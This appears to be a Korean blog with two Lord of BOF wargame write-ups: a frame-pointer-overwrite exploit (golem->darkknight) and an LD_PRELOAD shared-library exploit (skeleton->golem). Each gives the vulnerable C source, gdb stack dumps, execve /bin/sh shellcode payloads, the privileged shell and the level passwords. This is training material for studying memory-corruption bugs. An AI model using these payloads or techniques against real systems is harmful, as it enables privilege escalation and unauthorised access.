hacking 2017. 11. 16. 23:36

hack.txt

'hacking' 카테고리의 다른 글

putty에서 connection timed out 뜰 때(lob, ftz)  (0) 2017.09.17

반 넘게 달렸다

오늘은 FPO에 대해 간단하게 알아보자

FPO는 buffer+1만큼 쓸 수 있는 공간이 있고, main 외의 다른 함수가 있을 때 쓸 수 있는 기법이다

ebp는 스택 프레임의 한 기준점을 저장하고, esp는 ebp를 기준으로 증가해 다음 스택 포인터를 지정한다

그리고 eip는 다음 실행할 명령의 주소를 저장한다

main() 안에 함수 sub()가 있다고 쳐 보자

우선 main()이 호출되고 그 다음 main() 에서 sub()가 호출된다

여기서 내가 1바이트를 변경하면 sub()의 sfp부분의 값이 변경된다

이젠 이 sub()가 종료되면서 leave를 수행하게 될 것이다

leave는 esp 값을 ebp(sfp)가 있는 곳으로 이동시킨 후, sfp 값을 ebp에 저장하는 것이다.

따라서 leave가 수행되면 sfp에 들어있던 main()의 ebp 값이 현재의 ebp 값에 저장되고, esp 값은 sfp를 가르키고 있다가 pop ebp 명령을 만나 4가 증가한다. 이렇게 ret을 가르키게 되는 것이다

이때 esp는 sub()의 ebp, 즉 sfp를 가르키게 될 것이고, pop ebp, 즉, main()의

ebp를 돌려 받는 과정에서 변경된 sfp값을 가져오게 되므로 main()의 ebp는 다른 곳을 가르키게 된다

자세한 문서는 요기



그럼 이 문서를 이해했다는 가정 하에 문제를 풀어보자



#include <stdio.h>

#include <stdlib.h>


void problem_child(char *src)

{

        char buffer[40];

        strncpy(buffer, src, 41);

        printf("%s\n", buffer);

}


main(int argc, char *argv[])

{

        if(argc<2){

                printf("argv error\n");

                exit(0);

        }


        problem_child(argv[1]);


FPO 기법을 쓸 수 있는 코드이다



(gdb) b *problem_child+24

 (gdb) r `python -c 'print "A"*40+"\x00"'` `python -c 'print "\x90"*150'`

Starting program: /tmp/darkknight `python -c 'print "A"*40+"\x00"'` `python -c 'print "\x90"*150'`


Breakpoint 1, 0x8048458 in problem_child ()

(gdb) x/100x $esp

0xbffffa74:     0x41414141      0x41414141      0x41414141      0x41414141

0xbffffa84:     0x41414141      0x41414141      0x41414141      0x41414141

0xbffffa94:     0x41414141      0x41414141      0xbffffa00      0x0804849e

0xbffffaa4:     0xbffffbf8      0xbffffac8      0x400309cb      0x00000003

0xbffffab4:     0xbffffaf4      0xbffffb04      0x40013868      0x00000003

0xbffffac4:     0x08048390      0x00000000      0x080483b1      0x0804846c

0xbffffad4:     0x00000003      0xbffffaf4      0x080482e4      0x080484dc

0xbffffae4:     0x4000ae60      0xbffffaec      0x40013e90      0x00000003

...


argv[1]에는 A(dummy) 40개와 sfp에 넣을 주소를 가정해서 \x00을 넣어주고

argv[2]에는 nop을 많이많이 넣어준다


[golem@localhost /tmp]$ ./darkkn1ght `python -c 'print "A"*41'`

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA▒▒▒▒C▒▒▒▒▒▒▒   @

bffffac4


정확한 주소를 알아내기 위해 새롭게 파일 하나를 만들어서 buffer의 주소를 출력하게 해 놓았다


 [golem@localhost golem]$ ./darkknight `python -c 'print "\xcc\xfa\xff\xbf"*2+"\x90"*7+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69

\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"\xc4"'`

▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒1▒Ph//shh/bin▒▒PS▒▒1Ұ

                                    ̀▒▒▒▒▒C▒▒▒▒▒▒▒       @

bash$ id

uid=511(golem) gid=511(golem) euid=512(darkknight) egid=512(darkknight) groups=511(golem)

bash$ my-pass

euid = 512

new attacker

bash$


페이로드를 설명하자면

buffer 첫 주소를 두 번 넣고(8bytes) nop 7bytes 쉘코드 25bytes를 넣고(합쳐서 40bytes)

마지막 1byte를 버퍼의 첫 주소로 넣어준다

여기서 페이로드 처음에 주소를 두 번 넣은 이유는

leave-ret이 한 번 일어나면서 EBP가 변조된 EBP로 이동되는데, 한번 더 leave-ret을 하면 pop ebp를 실행한다. 이 때 ret에서 pop을 할 경우 BUF의 첫 4바이트를 참조해야 하기 때문이다.


피드백은 댓글로

'hacking > ftz/lob' 카테고리의 다른 글

lob skeleton->golem(level11) + 공유라이브러리  (0) 2017.09.24
lob goblin->orc(level4)  (0) 2017.09.17
lob gate->gremlin(level1)  (0) 2017.09.17
ftz level20 + Format String bug(FSB)  (0) 2017.09.10

먼저 공유 라이브러리에 대해 알아보자

라이브러리는 자주 사용되는 기능을 main 함수와 분리시킨다

라이브러리를 사용하면 디버깅이 쉬워지고 컴파일 시간이 빨라지기 때문에, 더 유연한 프로그램을 만들 수 있도록 도와준다

라이브러리의 종류는 정적 라이브러리, 동적 라이브러리, 공유 라이브러리 이렇게 세 가지가 있다

공유 라이브러리는 프로그램이 시작될 때 적재되는 라이브러리이다
정적 라이브러리는 파일의 단순 모음이다. 확장자는 .a이고 컴파일 시 적재된다

유연성이 떨어지고 바이너리 크기가 크다

동적 라이브러리는 특정한 때에 적재되는 라이브러리인데, 플러그인 모듈 등을 구현할 때 적합하다고 한다

이 문제는 공유라이브러리를 이용해 푸는 문제이다


커널 / .. / 환경변수 / argv / argc / ret / ebp / buf / 공유 라이브러리 / .. / heap / data / code
높은 주소 -> 낮은 주소 순이다
프로그램의 구조인데, 공유 라이브러리는 프로그램 시작 시에 적재된다고 했다
그런데 LD_PRELOAD라는 환경변수에 라이브러리를 등록하면 공유 라이브러리보다 먼저 등록한 라이브러리를 참조하게 된다
공유라이브러리의 심볼을 이 환경변수에 등록하면 공유라이브러리를 참조하지 않기 때문에 프로그램의 흐름을 바꿀 수 있다

 

#include <stdio.h>

#include <stdlib.h>


extern char **environ;


main(int argc, char *argv[])

{

        char buffer[40];

        int i;


        if(argc < 2){

                printf("argv error\n");

                exit(0);

        }


        if(argv[1][47] != '\xbf')

        {

                printf("stack is still your friend.\n");

                exit(0);

        }


        strcpy(buffer, argv[1]);

        printf("%s\n", buffer);


        // stack destroyer!

        memset(buffer, 0, 44);

        memset(buffer+48, 0, 0xbfffffff - (int)(buffer+48));

}




프로그램의 소스인데, 버퍼를 그냥 몽땅 파괴해버린다

고로 우리가 보통 쓰던 영역인 환경변수~buf까지를 쓸 수가 없게 된다(LD_PRELOAD는 환경변수지만 특별히 사용이 가능하다고 한다. 이유는 차후 추가하겠음)


 [skeleton@localhost /tmp]$ gcc -shared -fPIC -o `python -c 'print

"\x90"*100+"\x68\x8a\xe2\xce\x81\x68\xb1\x0c\x53\x54\x68\x6a\x6f\x8a\xe4\x68\x01\x69\x30\x63\x68\x69\x30\x74\x69

\x6a\x14\x59\xfe\x0c\x0c\x49\x79\xfa\x41\xf7\xe1\x54\xc3"'` ./golem.c


gcc에 처음 보는 옵션이 붙었다

-shared : 공유 라이브러리를 우선적으로 링크하게 하는 옵션

정적 라이브러리와 함께 있으면 공유 라이브러리를 우선 링크하게 해 줌

-fPIC : object file을 만들 때 심볼이 어느 위치에 있건 동작을 하도록 컴파일하라는 의미


그럼 이제 라이브러리를 만들었으니 LD_PRELOAD에 이 라이브러리를 등록하면 될 것 같다

그 전에 라이브러리의 주소를 알아내도록 하자



 (gdb) b *main+166

Breakpoint 1 at 0x8048516

(gdb) r `python -c 'print "\xbf"*48'`

Starting program: /tmp/./golem `python -c 'print "\xbf"*48'`

▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒



leave 부분에 브레이크를 걸어주고 프로그램의 if문에 걸리지 않게 \xbf를 48개 넣어준다


 

(gdb) x/500x $esp-2000

...

0xbffff5ec:     0x90902f2e      0x90909090      0x90909090      0x90909090

0xbffff5fc:     0x90909090      0x90909090      0x90909090      0x90909090

0xbffff60c:     0x90909090      0x90909090      0x90909090      0x90909090

0xbffff61c:     0x90909090      0x90909090      0x90909090      0x90909090

0xbffff62c:     0x90909090      0x90909090      0x90909090      0x90909090

0xbffff63c:     0x90909090      0x90909090      0x90909090      0x90909090

0xbffff64c:     0x90909090      0x8a689090      0x6881cee2      0x54530cb1

0xbffff65c:     0x8a6f6a68      0x690168e4      0x69686330      0x6a697430

0xbffff66c:     0x0cfe5914      0xfa79490c      0x54e1f741      0x400000c3

0xbffff67c:     0x40013868      0x4000220c      0xbffffba6      0x00000000

...



열심히 노가다를 해서 스택을 뒤져보면 아까 넣었던 x90이 보인다

팁을 하나 알려주자면 LD_PRELOAD에서 호출한 데이터는 ebp보다 메모리 영역이 낮은 곳에 위치하므로 스택 위치를 낮은 곳으로 잡아야 한다

어차피 nop sled를 해 놨기 때문에 맨 처음 주소를 주솟값으로 잡기로 했다


 

[skeleton@localhost skeleton] ./golem `python -c 'print "\xbf"*44+"\xec\xf5\xff\xbf"'`

▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒

bash$ id

uid=510(skeleton) gid=510(skeleton) euid=511(golem) egid=511(golem) groups=510(skeleton)

bash$ my-pass

euid = 511

cup of coffee


피드백은 댓글로

'hacking > ftz/lob' 카테고리의 다른 글

lob golem->darknight(level12) + FPO  (0) 2017.09.27
lob goblin->orc(level4)  (0) 2017.09.17
lob gate->gremlin(level1)  (0) 2017.09.17
ftz level20 + Format String bug(FSB)  (0) 2017.09.10